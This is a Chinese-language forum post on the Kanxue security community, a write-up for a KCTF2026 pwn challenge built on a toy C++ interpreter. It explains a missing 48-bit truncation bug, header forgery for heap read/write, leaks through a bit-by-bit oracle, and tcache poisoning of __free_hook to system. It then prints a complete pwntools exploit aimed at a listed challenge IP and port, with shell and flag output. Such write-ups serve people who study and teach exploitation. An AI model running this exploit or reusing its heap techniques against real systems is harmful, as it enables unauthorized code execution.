首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
0
6
[原创]KCTF2026 -第十题:卯时·曦光初现 题解(AI)
发表于: 2026-8-23 22:28
396
[原创]KCTF2026 -第十题:卯时·曦光初现 题解(AI)
星野安全
1
2026-8-23 22:28
396
## Summary 一个 C++ 写的 NaN-boxing 玩具解释器(glibc 2.27,PIE / Full RELRO / NX / Canary)。 唯一漏洞:`BinOp` 的运算结果**不做 48 位截断**,可以在 env 槽里造出任意 64 位值(尤其 `0x1337` 对象句柄 tag 与 `0xBEEF` 对象头值)。据此伪造一个超长对象头拿到**前向任意堆读写**, 泄露 key/arena/libc,再做 **tcache 0x20 fd 投毒**把 `__free_hook` 改成 `system`,最后用一条 精心控制大小的输入行触发 `system("/bin/sh")` 拿 shell 读旗。 题目没有任何打印数值的功能,全部泄露都靠一个 **1-bit oracle**(某条命令成功/`runtime error!`/ `invalid syntax!`)逐位读出。 ## 背景:语言与值编码 - env = 256 个 int64 槽 `$0..$255`,索引校验 `<= 0xFF`。 - 值编码(NaN-boxing):高 16 位 == `0x1337` → **对象句柄**,低 48 位 = arena 内对象头堆地址; 否则是 48 位整数。 - 对象在 arena(启动时 `operator new[](0x10000)`)里 bump 分配,加密存储: 头 = `key ^ (0xBEEF<<48 | nchildren)`,数字叶子 = `key ^ (val & 0xFFFFFFFFFFFF)`。 - 关键操作:`$N op $M`(BinOp)、`$N=<lit>`(AssignLit)、`$N=$M[i][j]`(GetField,读)、 `$N[i][j]=$M`(SetField,写)。 ## 漏洞 `BinOp_eval` 是唯一不给结果做 48 位 mask 的路径,因此可以拼出任意高 16 位: ``` $1=0x1337; $2=0x1000000; $1=$1*$2; $1=$1*$2 -> env[1] = 0x1337<<48 (伪句柄) $k = 0xBEEF<<48 | len -> 伪造的"对象头"值 ``` 其余路径(数字 48 位 mask、头/叶 key XOR、各级严格边界检查)都很紧,堵死了其它入口。  > **图 1 — 漏洞本体(`BinOp_eval` @ `0x30DE`)。** 除了两个操作数下标的 `<= 0xFF` > 校验和「操作数当前不能已是 `0x1337` 句柄」外,8 个运算分支(`case 0..7`)都把结果 > `v7 op v5` **原样写回 `*v6`,全程没有 `& 0xFFFFFFFFFFFF` 的 48 位截断** —— 而其它每一条 > 求值路径都做了截断。于是可以在 env 槽里凑出任意高 16 位,造出 `0x1337<<48` 假句柄与 > `0xBEEF<<48` 假对象头。 ## Solution ### Step 1:伪造超长对象头 → 前向任意堆读写 建一个真对象 `$0=[0,0]`,用 BinOp 造出 `hdr = 0xBEEF<<48 | 0x6000`,`SetField` 把它写进 `$0` 的第 0 个叶子。这样 `$0[0]` 就被当成一个**长度 0x6000 的嵌套对象**, `$0[0][k]` 即可读写 `arena + 16 + 8*k`(k < 0x6000,覆盖 `arena+16 .. arena+0x30010`)。  > **图 2 — 伪造头为什么能拿到前向 OOB(`GetField_eval` @ `0x36E6`)。** 解引用一个 > 「对象」时:① 值高 16 位 == `0x1337` 才当句柄;② **取低 48 位直接当 arena 内堆指针, > 不再做范围校验**;③ 用全局 key(`qword_206AB0`)异或堆头解密;④ 解出的头高 16 位必须 > == `0xBEEF`;⑤ 下标只跟**头里自带的 `nchildren`** 比。既然 ②/⑤ 完全信任「头」里的内容, > 而头又是我们用漏洞伪造的 `0xBEEF<<48 | 0x6000`,`$0[0][k]` 就成了以 arena 为基址、 > 长度 0x6000 的前向任意读写原语。 - **key 泄露**:`$dst=$0[0][1]` 读到 arena 里一个未初始化(0)的槽 → `0 ^ key = key`。 - **self / libc 泄露**:`k=8193`(heap 自指针)、`k=8205`(指向 `_IO_2_1_stderr_` 的 libc 指针, 落在被 free 的 8KB filebuf 块里),减去已知偏移得 arena base 与 libc base。 - **任意写**:要写 `W` 到某叶子,先 BinOp 算 `src = key ^ W`,`SetField` 写入即 `key^src = W`。 所有 48/64 位数值都用 **纯 BinOp 位 oracle** 逐位读出(`(v>>i)&1` 造成 `0x1337` tag, 再让一条 BinOp 因右操作数是句柄而 `runtime error` → 该位为 1)。这条路径不分配 0x20 堆块, 几乎不搅动 tcache。  > **图 3 — 泄露靠的 1-bit oracle,与触发行大小的来源(`main` @ `0x2D09`)。** 题目没有任何 > 打印数值的功能:每条命令要么静默成功(只回显下一个 `> `),要么 `runtime error!` > (eval 返回 0),要么 `invalid syntax!`(parse 返回 0)。这三态就是逐位读 key/arena/libc > 用的 1-bit oracle。图中 `std::string::_M_construct` 那行也标出来了 —— **输入行本身会构造成 > 一个 `std::string`,它的长度决定 `malloc` 出 0x20 还是 0x30 的堆块**,正是后文「触发行必须 > 是 0x30 分配」这个坑的根源。 ### Step 2:tcache 0x20 fd 投毒 → `__free_hook = system` RCE 走 `__free_hook`(Full RELRO 打不了 GOT)。因为前向 OOB 只到堆、够不着 libc, 所以用 **tcache 投毒**让一次 `malloc` 直接落在 `__free_hook`: - 攻击命令 `$4=$0[<system 十进制>]` 解析时,下标会 push 进一个 `std::vector`,其 8 字节 buffer 从 tcache 0x20 bin 取。若这块 buffer 恰好落在 `__free_hook`,则 `buffer[0] = 下标 = system` 即 `*__free_hook = system`。 - 用 `write1` 把某个 0x20 freed chunk 的 fd 改成 `__free_hook`,让上面那次分配命中它。 实测(本地容器 glibc-2.27 逐次复现)要投毒的 fd 槽是 **`arena+0x102d0`**(k=8280)。 **两个决定性坑(这题最难的地方,纯静态想不到,必须动态验证):** 1. **15 位下标 = 2-pop,不是 3-pop。** libc 地址十进制**恒为 15 位**(≤ `0x7fffffffffff`),15 字符正好落在 libstdc++ 的 SSO(short string optimization)边界内,**不为下标数字分配临时 string**。所以单索引攻击 在 0x20 bin 上只有 **2 次 pop**(pop1=输入行、pop2=index-vector),而不是"下标临时 string 也占一次"的 3-pop。用 ≥16 位的占位大数调试会落进 3-pop 分支,投毒目标算错 —— 这是之前 多次盲打全 miss 的第一个根因。 2. **触发行必须是 0x30 分配,不能是 0x20。** 攻击把 `A4 = __free_hook` 写成 `system` 后,`A4` 在命令收尾被 free 回 tcache, 于是 **`__free_hook` 正好位于 0x20 bin 的链头**。若触发行是 16 字符(0x20 分配), 它的输入 `std::string` 会 `malloc` 一个 0x20 chunk,**正好把 `__free_hook` pop 出来当缓冲**, 用 `"/bin/sh"` 字节覆盖掉刚写进去的 `system` → free 时跳到 `/bin/sh` 这个地址 → 崩溃。 改用 **24–39 字符的 0x30 分配行**(本 exp 用 `/bin/sh #` + 22×`A` = 31 字符), 它的 malloc 不碰 0x20 链头,`__free_hook` 保持 `system`,free 时 `system("/bin/sh #...")` (`#` 后是注释)→ 交互 shell。 ### Step 3:读旗 远程是极简 chroot(无 `cat`/`id`/`head`/`grep`,只有 `ls` 和 `/bin/sh`), 用 dash 内置 `read a < flag; echo "$a"` 把 `./flag` 读出。 ### 完整 exploit ```python #!/usr/bin/env python3 # 10-pwn — leak -> forward OOB heap R/W -> tcache 0x20 fd poison -> __free_hook=system -> shell. from pwn import * import sys, time HOST='123.57.66.184'; PORT=int(sys.argv[1]) if len(sys.argv)>1 else 10004 context.clear(arch='amd64', log_level='warn') IO_STDERR=0x3ec680; FREE_HOOK=0x3ed8e8; SYSTEM=0x4f420; K_SELF=8193; K_LIBC=8205; M48=(1<<48)-1 OBJ=0; KEY=200; POW48=240; S1=239; S2=238; ONE=237; TWO=236; BEEFHI=235; P2=234; TT=233; C1337=232; ZNUM=231 FAKELEN=0x6000; POISON_OFF=0x102d0 # k=(0x102d0-16)/8=8280 class IO: def __init__(self): self.r=remote(HOST,PORT,timeout=15); self.r.recvuntil(b'> '); self.q=[]; self.marks=[] def push(self,line,mark=False): if isinstance(line,str): line=line.encode() if mark: self.marks.append(len(self.q)) self.q.append(line) def flush(self): if not self.q: return [] n=len(self.q); self.r.send(b'\n'.join(self.q)+b'\n'); buf=b'' while buf.count(b'> ')<n: c=self.r.recv(timeout=15) if not c: break buf+=c segs=buf.split(b'> '); st=[] for i in range(n): seg=segs[i] if i<len(segs) else b'' st.append('err' if b'runtime error' in seg else 'inv' if b'invalid syntax' in seg else 'ok') res=[st[i] for i in self.marks]; self.q=[]; self.marks=[]; return res def setup_consts(io): io.push('$%d=16777216'%POW48); io.push('$%d=16777216'%S1); io.push('$%d*$%d'%(POW48,S1)) io.push('$%d=1'%ONE); io.push('$%d=2'%TWO); io.push('$%d=48879'%BEEFHI); io.push('$%d*$%d'%(BEEFHI,POW48)) io.push('$%d=4919'%C1337); io.push('$%d=1'%ZNUM) def setnum(io,slot,value): value&=(1<<64)-1; low=value&M48; high=(value>>48)&0xffff; io.push('$%d=%d'%(slot,low)) if high: io.push('$%d=%d'%(S2,high)); io.push('$%d*$%d'%(S2,POW48)); io.push('$%d|$%d'%(slot,S2)) def mk_fake_header(io,length=FAKELEN): io.push('$%d=[0,0]'%OBJ); setnum(io,10,(0xBEEF<<48)|length); io.push('$%d[0]=$10'%OBJ,mark=True) def addr2k(arena,addr): assert (addr-arena-16)%8==0; return (addr-arena-16)//8 def oob_read(io,k,dst): io.push('$%d=$%d[0][%d]'%(dst,OBJ,k),mark=True) def oob_write(io,k,src): io.push('$%d[0][%d]=$%d'%(OBJ,k,src),mark=True) def _bit(io,slot,i): io.push('$%d=$%d'%(TT,slot)); io.push('$%d/$%d'%(TT,P2)); io.push('$%d&$%d'%(TT,ONE)) io.push('$%d*$%d'%(TT,C1337)); io.push('$%d*$%d'%(TT,POW48)); io.push('$%d+$%d'%(ZNUM,TT),mark=True); io.push('$%d*$%d'%(P2,TWO)) def leak(io,slots,nbits=64): for s in slots: io.push('$%d=1'%P2) for i in range(nbits): _bit(io,s,i) st=io.flush(); out=[] for j in range(len(slots)): v=0 for i in range(nbits): if st[j*nbits+i]=='err': v|=(1<<i) out.append(v) return out class Ctx: def __init__(self): self.io=IO(); setup_consts(self.io); mk_fake_header(self.io,FAKELEN) oob_read(self.io,1,KEY); oob_read(self.io,K_SELF,50); oob_read(self.io,K_LIBC,51); self.io.flush() self.key=leak(self.io,[KEY])[0] sp=leak(self.io,[50],48)[0]; lp=leak(self.io,[51],48)[0] self.arena=((sp^self.key)&M48)-0x10000; self.libc=((lp^self.key)&M48)-IO_STDERR self.ok=(self.libc&0xfff)==0 and (self.arena&0xfff)==0x010 def A(self,off): return self.arena+off def L(self,off): return self.libc+off def write1(self,addr,R): setnum(self.io,70,(self.key^R)&((1<<64)-1)); oob_write(self.io,addr2k(self.arena,addr),70); self.io.flush() def exploit(): for _ in range(3): c=Ctx() if c.ok: break c.io.r.close() else: log.failure('no clean leak'); return system=c.L(SYSTEM); fh=c.L(FREE_HOOK) print('[*] arena=%#x libc=%#x system=%d(%d digits)'%(c.arena,c.libc,system,len(str(system)))) c.write1(c.A(POISON_OFF), fh) # 1) poison fd = __free_hook c.io.r.send(('$4=$0[%d]'%system).encode()+b'\n'); time.sleep(0.2) # 2) *__free_hook = system c.io.r.send(b'/bin/sh #'+b'A'*22+b'\n'); time.sleep(0.3) # 3) 0x30 trigger -> system("/bin/sh") c.io.r.send(b'echo PWNED_$((6*7))\n'); time.sleep(0.3) if b'PWNED_42' not in c.io.r.recv(timeout=3): log.failure('no shell'); return print('[+] shell') c.io.r.send(b'read a < flag; echo "FLAG=$a"\n'); time.sleep(0.6) for line in c.io.r.recv(timeout=4).decode('latin1','replace').splitlines(): if 'flag{' in line: print('[+] '+line.strip()) c.io.r.interactive() if __name__=='__main__': exploit() ``` 运行: ``` $ python3 solve.py 10004 [*] arena=0x555f68617010 libc=0x7f330e85d000 system=139857264034848 (15 digits) [+] shell [+] FLAG=flag{f2ab8ac8-cd80-4c45-b859-ae6ba9289959} ``` ## Flag ``` flag{f2ab8ac8-cd80-4c45-b859-ae6ba9289959} ``` > flag 每个靶机实例轮换(另一实例为 `flag{7d6b4646-578b-43ce-8cbc-2af922298d4e}`);
回复或点赞可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
6
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
https8665
感谢你分享这么好的资源!
3天前
孤独的街
感谢你分享这么好的资源!
6天前
git_51951meggadf3df
非常支持你的观点!
6天前
huangyalei
谢谢你的细致分析,受益匪浅!
2026-8-31 16:14
mb_lthgjpwj
为你点赞!
2026-8-27 15:27
GuestLiang
感谢你分享这么好的资源!
2026-8-27 07:18
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
manyuegong33
雪 币:
426
活跃值:
(335)
能力值:
( LV2,RANK:10 )
在线值:
发帖
4
回帖
59
粉丝
8
关注
私信
manyuegong33
2
楼
666
2026-9-8 18:36
0
馨禧
雪 币:
26
能力值:
( LV1,RANK:0 )
在线值:
发帖
1
回帖
53
粉丝
0
关注
私信
馨禧
3
楼
111
6天前
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
星野安全
1
14
发帖
6
回帖
110
RANK
关注
私信
他的文章
[原创] 某 App 抽取壳的内存脱壳与请求签名逆向
13406
[原创] 基于某银行App的梆梆加固逆向实战
3628
[原创]KCTF2026 -第十题:卯时·曦光初现 题解(AI)
394
[原创]KCTF2026 - 第九题:丑寅同墟·星海抉择 题解(AI)
118
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部